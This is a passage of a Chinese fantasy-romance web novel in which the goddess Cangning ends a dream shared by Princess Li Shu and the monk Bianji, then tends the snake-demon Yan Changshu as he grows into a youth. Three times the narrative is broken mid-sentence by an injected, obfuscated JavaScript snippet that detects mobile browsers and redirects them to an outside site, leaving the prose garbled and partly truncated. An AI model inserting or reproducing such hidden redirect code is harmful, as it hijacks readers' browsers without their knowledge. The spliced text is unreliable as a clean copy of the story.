苍宁下意识摇摇头:“现在这场幻梦就是李漱的现实。她想要实现的只能在这里实现。真的现实不会被改变。” “啧,那你就是发表一些强盗想法而已。”貔大虎说,“真奇怪啊,你们青鸾一族,也算是瑞兽吧,大人你却一直很悲观。” “你们貔貅一族天天啃金子懂什么?”苍宁皮笑肉不笑道,“本人行动上一直很积极。就算是我这样,还一直好好养着晏长书呢。再说了,人只需转了世,换个身份,就能够抛却前尘在一起了,算不得好事吗?” 貔大虎吐出一个烟圈,摇头:“接下来怎么办?” 接下来本应当是李漱的快乐。或者说,她原本快乐一生本该有的样子。 苍宁行动上很积极,所以她在貔大虎的建议下,去见了辨机。 辨机随自己的师傅玄奘完成翻译编撰经书的职责之后,两人共游天地,一同经历了许多事情。 在这个大雪纷飞的日头,苍宁终于显出身形,站在了辨机面前。 阳光温暖,白雪晶亮。 “辨机法师。”苍宁脚下的雪并没有显露出脚印,她微微一笑,“好久不见。” 辨机怔了怔,手中拎着的吃食忽然断了线,落到雪地上,留了个清晰的印记,和一声轻微但却明晰的响动。 这个瞬间像是晨钟敲响的那一刻,飞鸟离开钟楼,盘旋、盘旋,人间就要迎来黎明。 “这位女施主……” 苍宁轻轻巧巧地说:“时间到了,你知道的吧?” “你早就有感觉,这只是一场梦了。很可惜,在既定的未来前,你们谁都没有改变,只不过又一次佐证了我的观点。” 辨机眼中的情绪变化万千,最后停留在眼中的,只有坚定与温柔。 苍宁点点头:“不愧是身怀佛光之人,你的悟性很高。” 辨机沉吟半晌,敛眸问道:“这位大人,可否与贫僧详细说明?” 苍宁侧过身。在幻梦中,辨机不认识她啊。 好吧,看在他曾帮了自己的忙,收留过晏长书这个麻烦的份儿上……也看在李漱的执著上,所谓“积极的行为”的面子上,苍宁留下了一点耐心。 她不做任何美化,也没有半点情绪,平平淡淡地将她所知道的事情说了出来:李漱怎样出现在她的面前,对她做了哪些请求;李漱怎样死去,又有哪些遗憾和夙愿;李漱怎样想去改变自己的认知,改变他的认知,却又屡屡失败…… 最后,苍宁说道:“在这个时间点,你们虽然相爱,可是在几年过后,一切就会烟消云散。世间万物皆循道而生,不能幸免。” 辨机笑了笑,将吃食外部油纸上的雪拍干净,从容地撇去断线,拿在手里,用手心的温度捂着,不叫它快速变冷。 苍宁确定道:“你明白的,对吧?” 辨机点头:“贫僧明白。不知大人何时结束这场幻梦?” “在你回去的路上。” “不能再延长些么?” “我已经同意了李漱很多要求,你说要延长点,她又说要延长一点,这幻梦岂非无休无止了?” 辨机看着眼前的村落。袅袅炊烟处,回去的目的地就在那里。 他难得有点自嘲地说:“看来事情的主动权不在贫僧手中。” 苍宁看着他慢慢往前走:“我曾劝李漱去投胎。” “嗯,那样是好事。” “我很好奇。”苍宁问,“你们念佛之人,会期待来世的相遇吗?” 他慢慢往前走,慢慢逼近幻梦终局的临界点,回头对她说:“大人,我没有办法知晓来世。出家人不打诳语,我想有一点我必须说出来,也希望大人能转告公主。” “我允你说。” 他摩挲着手里的油纸,想要尽力将它捂热,良久地,从臌胀的胸膛中呼出一口白茫茫的热气。 “大人,在这个时间点,我与李漱相爱,几年过后,我与她也同样相爱。世间万物皆循道而死,我不能幸免,但是我的译经和对她的感情,会永远留存下去。” 苍宁一顺不瞬地看着他:“等你们投胎了,等你不是辨机,她也不是李漱,或许就可以延续下去。” 辨机笑道:“我只是一介过客,下一世,也许她便不会有这样多的遗憾了。” 他沉眸:“劝她去投胎,这是很好的。” 苍宁还想要问点什么来着,比如有关李漱每个阶段的愿望,比如他忠实的到底是现实中的李漱,还是这个幻梦里的李漱……但是仔细想想,哪一个李漱不是真实存在的呢? “喂,”苍宁开口喊住远去的辨机,“这条路可是你自己选的。” “这条路,是我和她一起选的。”辨机说,“可惜做梦太久无益处。感谢大人。” 幻梦流转,雪粒纷飞。 辨机在归去的每一步,皑皑白雪从凄冷的寒冷中随着时空的旋转,渐渐凝聚成卍字。在他的背影 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我不需要了。”苍宁说。 李漱很是意外:“大人?” 苍宁笃定道:“约定作废了,李漱。沿着这条水路,往前走,你能看见的光亮处,就是去往鬼界的路。你可以去那里轮回转世。” “鬼界……” “鬼界的确有许多可怖的恶鬼,环境也不是很好,常年没有日光。我不是很喜欢那里,那里不适合鸟儿飞翔。不过,像你这样的鬼只需要过路就好了。”苍宁平静道,“只要走到奈何桥,孟娘子就会给你递上一碗汤。在我记忆里,她亲善可人,并不可怕。只要喝下那碗汤,你就可以投入下一世。” “可惜,那不会是李漱。”李漱说,“大人,我曾给过一方锦帕,可在你身上?” 锦帕? 苍宁忽然想起来,似乎确有这么回事儿。她往衣袍里一掏,确实掏出一方绣着鸳鸯的锦帕来。 李漱又让苍宁变了纸笔,在上面落下了笔墨,随后她将锦帕交给苍宁,希望能转交到辨机手里。 临走前,她说:“听说大人曾向他人询问过我如何能跨越时空而来。” 苍宁连忙问道:“你说说。” 李漱沉吟半晌,说道:“我从幻梦中出来时,曾在空中看见了飘落雪花的‘卍’字。我回到过去时,同样是被卍所吸引。我并不知道它为何凭空出现,但是显然是它将我带了回来。后来,我听说有卍字出现,找到了大人这里,貔貅大人告诉了我这桩交易,我才想勉力一试。” 苍宁微微张唇:“卍?” 李漱肯定地点点头:“我知道的只有这些,全都告诉大人了。” 李漱朝苍宁身后的貔大虎道:“感谢两位大人。” …… 待李漱缓缓走进窄门之中,苍宁还在沉思。 卍? 她做了什么吗?晏长书做了什么? 未来她做了什么?未来的晏长书做了什么吗? 她转身想要回去讨伐那条病恹恹的蛇,下一秒却被貔大虎扯住:“诶等等,我的金子……” “还能少了你的不成,放开——” 二是手里捏的变形的锦帕。 该死的。 苍宁长呼一口气,劝自己要有耐心。 貔大虎道:“你、你瞪着我干什么,怎么感觉要吃了我一样?” 苍宁道:“你们貔貅生下来就怒目圆视,怎么好意思说我的?” 事情需要一件一件的解决。 按照约定,苍宁支付给貔大虎一箱金子,金灿灿的光芒照亮了小块地方,苍宁大手一挥,连金子带貔貅一起丢出了这片领域,回到了寒冷的现实里的冬季。 会昌寺内静悄悄的,对刚刚发生的事情一无所知。 惊鸟铃过,辨机忽然从纸笔间抬头,好似看见一只状似貔貅的动物瞪着眼睛从空中飞过,他顿了顿,还以为自己尚未从刚刚混乱的梦境中醒来——实际上,做了什么梦,他一点都不记得了。 冬月的风卷进来,有点冷。 辨机走过去,将窗户关上,回过身,看见书案上忽然多出了一方鸳鸯锦帕。 他拾起锦帕一瞧,锦帕上有笔墨,洇了一圈,有点模糊,但字迹是他熟知的。 上书: 死生契阔叹浮生, 只此浮生是梦中。① - 苍宁以最快的速度回到了宅子里。 她迫不及待地踢开大门,等待她的却是跪在地上请罪的眼泪汪汪的桃枝。 桃枝刚要说话,苍宁伸出食指警告道—— “你别再给我哭,老娘最烦男人哭!看够了!” 桃枝憋了一汪泪,还是没忍住。等苍宁绕过他,桃枝猛地扑上去,抱住苍宁的大腿:“前辈!前辈啊,我的好前辈,我的前途全完了!” 苍宁艰难地拔腿走路:“晏长书呢?好点没有。” 桃枝倒吸一口冷气,抱得更紧:“前辈,别看了,真的别看了,前方是我的地狱啊!!” “你在说什么胡话?” 桃枝苦着脸,仰着头,活像要被人拖走凌迟前的苦苦哀求,声情并茂道:“前辈,小鬼王他——他死了!” 14. 神鬼之气 死了? 苍宁下意识道:“怎么会死了呢?” 桃枝吸着鼻子哭道:“就是先那样,再那样子……忽然……忽然就变成现在这样了……” 苍宁一把抓住他的衣领,拎起来,眯眼:“你能不能说点人话?” 寒气弥漫,周围的气压骤然变低。桃枝在空中情不自禁地发着抖,憋出了一个好字。 桃枝说,等苍宁离去之后,他回房间照顾晏长书,那会儿晏长书还好好地躺在被褥里。但是等他睡了一觉起来,晏长书就莫名身死在床! 他为此震惊,惊疑不定,仓皇失措—— 苍宁抬手:“后面煽情的部分不用告诉我了。” 她绕过痛定思痛的桃枝,掀开晏长书的被褥,被褥上仍然有一条蛇。这条蛇和晏长书的蛇身花纹别无两样,漆黑色,在烛光下浮现出赤青色的浮光。但是蛇身不再蜷缩起来,而是直直瘫成一长条,肚皮半翻着,尾巴不知道为何缺失了,整条蛇看上去极没有精神。 苍宁伸手一摸,蛇身凉的,软绵绵,一揉……晏长书脑袋碎了。 桃枝倒吸一口冷气,差点心肌梗塞当场离开:“前辈!!要留全尸啊!” 苍宁没有被咋咋呼呼的桃枝扰乱心绪,她放出神识在房间中打探。 晏长书的气息分明存在。 床上这个…… 她又捏了捏蛇身,就在刹那之间,蛇身犹如琉璃冰层,一条裂缝接一条裂缝,无止无尽地蔓延到整条蛇身,尔后,整条蛇身忽然间作齑粉消散,仅在空中留下淡淡的青光,再无痕迹。 桃枝这回不再大喊大叫了,捧着头,瞪大眼睛,喃喃道;“完了。” 苍宁拍了拍手,冷冷道:“把你派来和我执行任务的时候,不是说你是百年内最优秀的仙?遇到事情恨不得把嗓子喊破,吵到前辈的耳朵不说,怎么做事情也这么没有耐心。” 桃枝还维持着捧着脑袋的动作,短短发出了一个音:“……啊?” 苍宁把整床被子掀起来,一道黑不溜秋的影子果然在她的神识逼迫下显露无疑。晏长书蜷在床角,仍旧是那盘一动不动的黑蚊香,但是,看上去是硕大了不止一圈的黑蚊香,尾巴上还挂着半截蛇蜕。从头到尾,全都是晏长书的罪证。 苍宁默了默:“你是人,没见过蛇蜕?” 桃枝支支吾吾地说:“没、没见过这么逼真的……” “以前专在人间当公子哥儿?”苍宁挑眉,伸手一摸床上的大蚊香,“放心,你升职加薪的事业还活得好好的。就是——” “就是?” 苍宁说:“就是状况不太好。” 桃枝:“……” 眼看床上的晏长书奄奄一息的模样,苍宁没有半丝喜悦。她在很努力地想:这个家伙可以被她杀了,但是怎么能还没在她采取任何措施的时候被她养死呢?这简直是极大的侮辱! 苍宁不清楚晏长书的生长状况到底是什么样,也对他的来历一知半解,就听闻是空降到鬼界当了王,造成了撼动三界的声势。谁曾想这样的家伙看起来人畜无害,呆呆傻傻? 苍宁看见蛇尾巴上那一小块没有弄下来的蛇蜕,忍不住想要揪掉。她伸出手一把捏住边沿,轻轻往外弄,昏迷中的黑蛇动了动肚皮,下意识把尾巴藏进了自己身下。 “活着呢,活着呢。”苍宁安抚桃枝,“东西都收拾好了吗?” 桃枝眼泪汪汪:“要不给孩子吃点鬼气吧。” “吃什么吃,”苍宁说,“咱这就上神界,找个更好的师傅把他养活。” 桃枝:“前辈,你不是说他活着呢……?” 苍宁把床上的蛇捞起来,黑蛇的尾巴从她手臂上掉下来,晃晃悠悠,一副任苍宁宰割的模样。 苍宁沉默了片刻,抿唇假笑道:“活蛇微死怎么不算活着呢?” - 苍宁做任务的时候从不回三危山,况且现在还有两个拖油瓶。 她在神界寻了一座与人间最为接近的山,名唤招摇山,既不会离神界太遥远,也不会太近,是她平日执行任务所来的歇脚地。 招摇山相比其他神山要小得多,但也算是风景秀丽。苍宁的屋子就建在半山腰的山谷上,终日如春季温暖。 苍宁让桃枝好好打扫屋子,把晏长书带上,往神界去。 白云皑皑,日光照耀。 路途中,苍宁后知后觉地发现自己也许确实是无情的:她选择救起晏长书,想让他在不合时宜的环境下因为无法生长而死去,这的确像是无情而伪善的做法。 这种反省只维持了刹那,她心底忽然冒出了一个念头,将之前的想法压了下去。天道有其运转的逻辑,对待人间也是如此。有些人在合时宜的环境中,有些人则在不合时宜的环境中,如此阴阳平衡,她对待晏长书也是如此,并无过错。 神界仍是一派祥和。 黑蛇躲在苍宁广袖之中,苍宁还得费心兜着,才能防止他掉下去。 等到了保生大帝的宫中,门口的两个小童与她不相识,赶忙拦住她,说道:“你是何人,为何擅闯慈济宫?” 苍宁含笑道:“我是苍宁,从三危山东峙宫来,寻帝君有要紧事。” 小童认认真真打量着苍宁,目光炯炯道;“苍宁?没听说过。” 另一个小童则拱了拱他,提醒道:“是从东峙宫来的。” “哦哦哦,东峙宫,王母娘娘的人呀。”小童放下心来,“贵客有何要事,且等我们通报一声。” 听小童说,保生大帝闭关刚出,本是不见人的,但是听说苍宁这边需要医治,破格相见。 慈济宫和苍宁见过的神宫看起来都不太一样,未见什么装饰,格外简单。 保生大帝站在内室翻看经卷,鼎中还炼着丹,背对着苍宁。 苍宁行过礼:“帝君,久闻其名,小神前来求医,还请帝君相助。” 保生大帝慢慢转过身。他看上去和人类七十岁老头无异,头上简简单单用枯木枝绾了个髻,枝头却枯木逢春,生着一枚新叶。他长长的美髯通体银白,梳得规整干净。人虽佝偻着腰,但精神奕奕,目光充满智慧。 保生大帝笑道:“你来求医,我倒想看看是怎么一回事儿。” 保生大帝没有神明高高在上的姿态,苍宁说话也自在些:“帝君看出来了么?” 保生大帝伸出食指一点,笑而不语。尔后,声如洪钟道:“你啊,把病藏着呢。” 苍宁从怀里将晏长书掏出来,放在丹炉旁的软垫上。黑蛇体温滚烫,浑身无力,只有蛇脑袋勉力搭在苍宁的手掌旁。 保生大帝一手背在身后,一手用指头捏着美髯,看了一眼: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“这么说来,我喂他鬼气是喂错了。” “心急了些。”保生大帝眼神一动,忽而说道:“只是,我看这蛇是有些眼熟,莫非是……” 苍宁抢答道:“是孤儿。我心生善意,养了会儿。帝君,此次我前来,还请保密。” 保生大帝张了张唇,定定看了苍宁一会儿,点头:“原来如此。” 临走前,保生大帝还笑眯眯地说有事可再来。苍宁谢过他,回头往招摇山赶,怀里的晏长书登时恢复了正常的温度,变得温凉起来。 苍宁戳了戳蛇屁股:“晏长书?晏长书?” 她在试探晏长书有没有动静。 不知道是不是苍宁戳的地方太有针对性,蛇蛇唰的弹了一下,猛地把尾巴卷到自己身下,蒙眼都吓掉了,迷迷茫茫睁开眼睛。 动静挺大。 苍宁训话道:“晏长书,你最好乖一点,不然就你这样,除了我还有谁会救你?谁会给你找保生大帝?谁还会带你四处跑?别人都不喜欢你的,看见你早就把你收进丹炉里炼化了。你就好好待在我这儿,按部就班地长大,给天地一个交代,明白吗?” 蛇蛇吐了吐蛇信子。 没过多久,尾巴一绕,又蒙眼睡了过去。 蛇蛇很累。 但不知道什么时候…… 苍宁捏着它的尾巴尖打量着:“你回神界之后……是不是又长大了一点?” 15. 试探之吻 苍宁回了神界,算是神清气爽,潇洒惬意。她回头找了文曲星官,和他说会带个孩子交给他,一定要好好管教。 她看见文曲星官眼睛里熟悉的疑问,听见他刚发出“晏”字,条件反射般阻止:“这不是我和晏长书的孩子。特地拜在星官座下呢,是希望他能变得友善亲和。” 文曲星官艰难地许诺下来:“好吧。” 万事俱备只欠东风。 苍宁心情大好,听闻百花宴盛况依旧,从筵席上顺了两坛百花酿。筵席上莺歌燕舞,醉倒的神仙不关心她,她也不关心旁的,只是看见个奇怪的影子,像是花神和司命星君,正想仔细一瞧,又不见了。 苍宁不作他想,挑开坛布喝了一口。百花酿香滑顺口,令人饮之念念不忘。 “花神起舞……起舞嘿嘿……” 听见脚边醉倒的不知哪个仙官嘟嘟囔囔,苍宁毫不留情地踏上他的官服,拿走了他的酒坛子。 招摇山上,苍宁踉踉跄跄地回来,倚在门边。 桃枝气喘吁吁地在砍柴,浑身是汗,粉色的中衣半透不透地黏在身上,骚得很。苍宁长笑了声,把他惊动了,趁着他慌忙穿衣服的时候,扔了瓶百花酿给他。桃枝简直要变作八爪鱼,倒腾好几手才接住百花酿。 堪堪间,苍宁掠过他,轻巧落在门前,背着朝他招招手:“悠着点喝,容易醉。” “啊……哦。”原来前辈没有注意他衣衫不整啊。桃枝愣愣地想。 - 砰。 砰。 苍宁乱步走进房间时没忘记上闩。 她歪歪扭扭走了两步,强制自己定下来。 砰。 砰。 外头是桃枝那个死家伙在砍柴,敲的每一声都像是在砸她的脑袋。苍宁扶着脑袋看地面,地砖的花纹扭曲滚动,那叶片中恍似蹦出了无数个小叶子精来,嘻嘻哈哈地围在她的身边,爬上她的衣裳。 苍宁吃了一惊,再定睛一看,那些叶子精不见了,反倒是自己晕晕乎乎,趴在了桌上。 苍宁向来千杯不倒,爱喝一些助助兴,谁知今年的百花酿这般醉人,若让别人看见她这副模样,岂不是要笑掉大牙。 她能听见自己浊重的呼吸声,从呼吸中又带出甜甜花香,不由自主被自己的滑稽样逗笑了。 酒意麻痹了她的四肢百骸,差一点点就要爬上她的脑袋。倚靠着清透的月光,苍宁嫣红着脸,用力撑起身体,朝床榻走过去。 床榻被褥鼓鼓囊囊的,像是藏了什么东西。她探手一摸,拿东西光滑温凉,如玉石一般解热,心生安定。 她无所顾忌地趴上去,卷进被褥里,也忘了管那个东西,只觉得被褥激起了她所有的惰性,不费吹灰之力就擒住了她。 空中还飞来些百花酿的香气,够香,够醇,若不是她饮得太快,她不至于醉。若有个人能陪她饮酒,她也能彻夜长谈……可惜如今世间没有这样的人。 她总觉得自己忘了些什么,很快,睡眠将她牢牢抓紧,使她的意识瞬间沉沦。 砰。 砰。 不知过了多久,也不知自己身在何处,苍宁感觉自己如一叶扁舟游荡在天地之间,随着一声又一声斧头砸落的响动,一步步从天而落。 失重感使得她徒然惊醒,她霎时间感到口干舌燥,酒意仍上头,她只要动一下,脑子便像灌了一桶水般哐啷哐啷响,顺便给上七分疼痛,剩下的三分,用来感知疼痛。 她扶着脑袋,长长嘶了一声,闭上眼之后,她听见床边有个人正在她的身旁照料。 砍柴声消失了,细细的水声取而代之。 一双手将汗巾拧干,放在苍宁的额头上。苍宁抿唇,叹了一口气,支使道:“愣了干什么,还不赶紧倒杯茶?” 话音刚落,苍宁好似听到了一声若有似无的低笑。她头疼得厉害,暗觉奇怪,又暗自解答:“看来昨天给你的酒,你没喝。也好,最好是别喝了,今年的百花酿醉得很。” 另一道流水声响起来,茶叶的香气在空中飘散。从容的脚步声逼近她,在她心里打鼓点儿似的,让她莫名觉得不安。 茶香气越来越近,苍宁感觉那个人跪在她的床沿,用一只手轻柔地托起她的后背,在她背后放上圆枕,将茶送到了她的唇边。 她闻见若有似无的百花酿酒香气。 唇边的茶水仍旧等着她啜饮,可是她因为心底的犹疑迟迟没有进行下一步动作,只是抬手,放在茶杯的另一端。 她睡得滚烫的食指,轻轻搭在了那人的手指侧上,那人没有收回手,等待她将茶杯拿稳。 砰。 砰。 苍宁端稳手中茶水,心猛地鼓噪起来。 寂静的院落中,天地之间唯有这声响动在不断提醒她,她该清醒了。于是,在刹那之间,苍宁便从门外一声又一声落柴的响动中猜测到了身旁的到底是何人。 他长大了,不再是三岁孩童。可不知长成了什么模样,不知道是否会在遥不可测的,连司命星君都管不到的命册上,要她与他再度纠缠成一体。 苍宁竟然感到了一丝被捏紧的情绪。 她有这样心绪纷乱复杂之时,还是在杀他那日。 她缓慢地睁开眼,茶水泛起微波,她从这水碧波之中探见了来自他的视线,使她不用转头,无需任何简单的努力就可以直接看见他。 这是一双年轻的眼睛,一如往常黑亮,让她想起夜晚看向人间所瞧见的阑珊灯火,相隔很远,却传递着融融暖意。 她没有在瞬间做出惊讶和喷怒的反应,而是平静地端着茶杯一口一口慢悠悠地啜饮着茶水。 他的视线随着茶水晃晃悠悠,一路滚烫地滑入她的口腔,流进她的食道和胃部,再一眨眼,茶水乱皱中仍能看见不曾消失的视线。 她的,和他的。 苍宁这才转过头,看向他。 她想冲晏长书发火来着,没由来的那种,好给他一个下马威,告诉他别以为自己长大了,便可以随心所欲,为所欲为。 不过,她看着他半晌,那心里的假火没点风根本无法发作。她把手中的茶杯搁在他手上,末了干脆眼不见为净,骂道:“还不滚去穿好衣服!” 她丢开无辜的引枕,径直躺下,翻了一个身,脑袋被震得生疼,却还浮现出他刚刚半散着墨发,衣衫凌乱,含着点笑低头看她的模样。 晏长书上一世戴着那个死金面具,她也没想着要去怎么观察。现在真是好一番观察啊,她都一眼观察到晏长书的半掩的腹部线条上了。 她吐出一口气,身后那死蛇又凑过来,换了个姿势,趴在她身边。 “桃枝的衣服太大了。”他悄声说,“我不是故意这样的,是有原因的。” 苍宁不理他。他伸手抓她衣袖,扯了扯。来回几次,苍宁有些恼了,回过身刚想说他,看见他那张人畜无害,英俊周正的十六岁模样的面容,恶狠狠地说:“你也有神兽病是不是?” 晏长书说道:“苍宁,你的脸很红。” “我喝酒了。” “我知道。是百花宴上的酒。”他指着床头的酒,“你把我摇醒,非要给我一起喝。我喝了一口说不要了,你把我衣服都扯散了,最后喂了我小半壶才罢休。” 什、什么? 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15030009|162303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >苍宁瞪着眼:“胡说!” 晏长书抖了抖衣裳:“衣襟这儿都是湿的,之前你喂我漏下的酒。” 她当然闻见了酒气,可是这能说明什么?她太阳穴一鼓一鼓的,没好气道:“你怕是做梦没睡醒?” “我睡了很久,分得清是不是在梦中。你摸我尾巴的时候,可能有点半梦半醒吧。”晏长书肤白墨发,那双黑瞳仁中不着痕迹地滑过谐趣,勾着笑看着她。 原来他变成蛇身之后,知道她做的事儿? 那他看起来那么呆!是天生呆蛇咯? 苍宁无语:“你笑什么?” 晏长书慢条斯理地将衣裳重新穿好,被酒润泽的布料湿答答地黏在他的胸膛上,勾勒出少年瘦劲有力的线条。他说道:“没什么。我在思考一个问题,就是……算了,没事。” 他看上去格外坦荡,这是好事。但是他的话却半遮半掩,留了一根长长的毛线,勾着人上去扯一下。 苍宁极少当好奇的猫儿,可话说到这里,她无论如何都想要知道晏长书要说什么。 “我允你说。” 晏长书拎起半坛子酒给她瞧。酒坛中确实少了酒。 这个举动在苍宁看来有些可笑,她挑眉:“你想要证明你没有撒谎?” “不用证明,我本来就没有撒谎。” 他侧身仰头含了半口酒,斜着眼眸看见了她微微张开的唇,放下手中酒坛,以迅雷不及掩耳之势,低头干脆利落地去寻她的唇,只稍轻轻一印,便将口中醇酒皆数渡过去。 苍宁微微睁大眼。 未贴合太紧的四片唇瓣留出空隙,从苍宁唇角汨汨地蜿蜒出一道湿漉漉的酒渍。 他没有歹意,也没有纠缠。简简单单的贴合,干干净净离开,好像没有什么特别的意思。 这件事的后果,似乎只是又多了一个湿了衣襟的人,仅此而已。 短暂的缺氧使晏长书嗓音喑哑。他用手抹去苍宁红唇边落下的酒,说道:“我想问……你摸我尾巴,喂我喝酒,是什么意思呢?” “没什么意思。”苍宁唇光潋滟,冷眼冷言道,“我不记得有这回事。” 晏长书说:“苍宁,我记得。” 少年的眼睛清亮,看不出任何虚与委蛇。可苍宁看见这目光,不由自主地伸手要他别再看她,别过脸去。 她还记得那双眼睛的威力。再看一眼,万一何时陷了进去,她要怎样爬出他的幻术里? 苍宁的这一巴掌比门外的砍柴声还要响亮。 她很用力,她确定。 晏长书慢慢回过头,苍白的面容上留着半张不清晰的掌印,唇如血滴般红艳,笑道:“苍宁,你可以给我喂酒,我便不行么?” 苍宁的心突突直跳,她一时不知该如何回复,一脚把他踹到了地上:“跪到下面去!” 噗通一声,晏长书已经到了床下。上下位陡然转变。 他没有仓皇狼狈,从容地撑起身子,反倒平添几分贵色。 苍宁愠怒道:“你忘了从前学的礼义仁智信了?这是你该干的事情吗!还不算你忽然去李漱梦里的事,我替你找保生大帝的事,你有一句抱歉一句感谢吗?你一口一个问我乖不乖,我看你何止不乖啊,简直枉顾礼法,都学到酒坛子里去了!” 晏长书从床下缓缓抬起头,鬓发微摇,掩去眼眸中赤裸裸的欲望。 他很清楚自己是几岁模样,如今在扮演什么样的角色。他不能心急。 摇动的烛影没有牵动晏长书的影子。所以,他半敛眸光,人畜无害地向她道歉,向她臣服,向低声求饶。 “小娘,是我错了。” 16. 所谓床.伴 灯花爆了一声响,苍宁的太阳穴不自觉跟着跳着。 她睨着眼睛对上晏长书纯良无害的眼神,想起了他蛇身时候的呆呆模样:虽然是条会咬人的坏蛇,但是克制好欲望,乖乖听人指令的时候,总是让苍宁产生‘也算是讨人喜欢’的错觉。 苍宁给他指派任务:“虽在人间生活数月,你应当知晓你并非凡胎。我替你寻了个寿命长得很的好先生,文曲星官,等你身子好了,就去他那儿跟着学。” 晏长书应下来:“神界比人间好么?” “当然。”天空是她最喜欢的地方,这里的空气和阳光好过旁地一万倍。 晏长书乖巧点头:“我知晓了。” 他说得认真,可是好端端的一条小蛇变这么大……苍宁还是放不下心底的担忧。她默了默,问道:“你何时会用卍字的?” 晏长书把床头的酒坛子用坛方布盖好,再用红绳一圈圈缠回去,一脸茫然:“什么丸子?”他想了想,“桃枝做的鱼丸经常烤焦,但还能下咽。做的豆腐丸子味道很清淡,没有奇怪的味道。” 原来桃枝做饭很难吃吗?看他乖乖吞下去,还以为至少味道不错。趁苍宁思考的间隙,他附身过来,问:“你想吃吗?” 他的眼睛确如黑曜玉一般漂亮。 苍宁不愿看他的眼睛,将他推开:“……别凑过来,我头痛。” 他顺着她手上的巧劲儿起身:“哪儿疼,我帮你揉揉。” “不用了,不用。” 苍宁烦躁起来,说道,“你把门打开,我要透透气。然后——出去。” - 房门敞开之后,苍宁一眼就看见了月亮。 晏长书少年清俊模样,站在苍宁房前,只穿了件外衫,未束墨发,唇色嫣红,一眼望去难掩其风流之姿。 桃枝一手撑着斧头,一手拎着百花酿,同样醉得迷迷糊糊。 晏长书侧过身子,见苍宁把被褥盖住头,半掩上门,慢慢走出来。 桃枝瞠目结舌,伸长了脖子,打酒嗝道:“我、我的老天爷,嗝,前辈什么时候开始搞婚外情的……” 桃枝把手从斧头上抬起来,一个踉跄没站稳,像只晕晕乎乎的斗鸡一样单脚踩在斧头上,旋转了两圈,绕着晏长书来来回回看,盯着他脸上的红指印。 “小伙子你,嗝你你长挺俊呐,呕略……唔原、原来前辈出去潇洒了,只有我在带孩子。呵呵呵,我的前途……真是渺茫得很啊嗝……” 晏长书怕惊扰了苍宁,便往角落走去。桃枝被晏长书拐到院落最偏远的角落,红的不成样子的脸上露出迷糊和诧异:“你……你看起来和我一般大……看上去……?怎、怎么做这样不成体统的事情!还要……嗝还要挨打?” 晏长书听了发笑:“什么婚外情?原来她竟有夫君么?” 桃枝发出无意义的长音,缓慢思考了好一会儿,说道:“有夫君啊,她与鬼王连理之事天上天下人尽皆知!”他用手肘拱晏长书的腰,悄咪咪说道,“现在还记挂着呢。” 记挂? 晏长书垂眸看着树枝罅隙落在地上的月光,弯弯的,一小段一小段的,冰冷皎白,像是苍宁方才接茶时露出的一小段指甲。 “如何记挂?” 桃枝眯着眼睛得意洋洋地分析道:“嗝——嗯,你肯定也听说过前辈掏了鬼王的坟的事情吧?” “然后?” “前辈一直带着他的魄丹,两人——非常恩爱,死了都要爱,你懂不懂啊?”桃枝又吨吨吨喝上亿口,为了确保自己是认真抛出结论,还放空脑子思考了一会儿,“平日里说什么是鬼王就要杀了,装得很嗝,很冷酷的模样,其实心底舍不得。根本舍不得!我、我还当人的时候,看过这样的话本,小娘子心里装着郎君,假装不在意,别扭不肯开口哈哈哈!” 晏长书静静听完:“你说错了。她是苍宁,她没什么好假装的。” 桃枝咋呼道:“哈——?搞得你很了解她一样!我和前辈一起吃一起睡执行任务几个月了!你这个刚窜出来的蚂蚱有、有什么资格这么和我说话!” 晏长书定定地看着他。“你的确拥有和她共行的时光。” “啊——啊?”桃枝大舌头道。 “但她不会喜欢你的。” 桃枝愣了半晌:“前辈挺喜欢我的吧,反正她没打过我。” 晏长书笑意不达眼底:“你不懂。人间有句话叫打是亲骂是爱。” “那是专骗你这种人的。”桃枝搭在他肩膀上,悄声密谋,“兄弟——弟嗝弟啊,我和你掏心掏肺说这么多,是因为我有这份职责。我苦啊!你听我的,别和前辈纠缠了,回家找个正经班上,别给兄弟事业添堵了。” 晏长书避开桃枝蹭上来的手。 苍宁听见外面叽叽歪歪不停传来声音,抱手站在房门前,皮笑肉不笑道:“你们俩干什么呢?” 这声音一出来,桃枝苦着脸道:“前辈,你找的这个家伙根本——听不懂人话!我都告诉他你有夫君了还非缠着你不放,我的事业果然全要完了。” 桃枝醉得厉害,原因正是因为苍宁给的百花酿。所以苍宁没能找到一个合适的理由骂他醉得像个傻子,只能叹气道:“吵死了,赶紧闭嘴。” 微风拂过,树叶簌簌作响。 也就在一瞬间,桃枝莫名倒在了地上,呼呼大睡。 晏长书悠然伫立,随风拂动的鬓发遮去他眼中刹那出现的卍字,诡谲的赤青色从眼底消散,不被察觉。 苍宁抿唇:“你……” “他喝多了。”晏长书想到有趣的事,“把我认成了你的床.伴。” 苍宁:“……” “你有床.伴吗?” 苍宁觉得这个场景很荒谬。她拧眉,看着晏长书,不敢置信地质问他:“你认真的吗?你在问我这种问题?” 刚刚的巴掌印还留在他面颊上——他怎么敢的? “嗯,看来没有。”看来除了他并没有旁人。晏长书把桃枝说的一件件拿出来鞭尸,语气倒是一贯的有礼貌,像是单纯的求证,“桃枝说你和你的鬼王夫君情投意合,十分恩爱。是真的吗?” 